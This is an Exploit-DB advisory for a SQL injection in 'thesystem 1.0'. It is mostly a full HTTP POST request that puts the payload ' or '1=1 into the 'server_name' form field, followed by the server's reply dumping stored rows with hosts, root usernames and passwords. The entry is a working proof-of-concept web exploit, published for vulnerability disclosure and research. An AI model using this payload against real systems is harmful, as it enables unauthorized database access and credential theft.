thesystem App 1.0 - 'server_name' SQL Injection

EDB-ID:
47430

CVE:
N/A

EDB Verified: ×

Author:
SADIK CETIN

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2019-09-27

Vulnerable App:

```
# Exploit Title: thesystem 1.0 - 'server_name' SQL Injection
# Author: Sadik Cetin
# Discovery Date: 2019-09-26
# Vendor Homepage: https://github.com/kostasmitroglou/thesystem
# Software Link: https://github.com/kostasmitroglou/thesystem
# Tested Version: 1.0
# Tested on OS: Windows 10
# CVE: N/A

# Description:
# Simple SQL injection after login bypass(login_required didn't used)

POST /data/ HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0)
Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------
-18467633426500
Content-Length: 330
Connection: close
Referer: http://127.0.0.1:8000/data/
Cookie:
csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6;
_ga=GA1.4.567905900.1569231977
Upgrade-Insecure-Requests: 1

----------------------------18467633426500
Content-Disposition: form-data; name="csrfmiddlewaretoken"

9LsPWlffpiAEGYeCvR9Bead9tslR18flkZRAjREhmqtJpFwNrnSBJXTH245O5sh3
----------------------------18467633426500
Content-Disposition: form-data; name="server_name"

' or '1=1
----------------------------18467633426500--



HTTP/1.1 200 OK
Date: Thu, 26 Sep 2019 12:16:11 GMT
Server: WSGIServer/0.2 CPython/3.5.3
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 190

(23, 'test', '192.168.1.4', '22', 'test@test', 'root', '1234', 'test',
'test', '2019-09-26')(24, '<h1>Unix', '192.168.1.5', '22', 'test@test',
'root', '1234', 'test2', 'test2', '2019-09-26')
```

Tags:

Advisory/Source: Link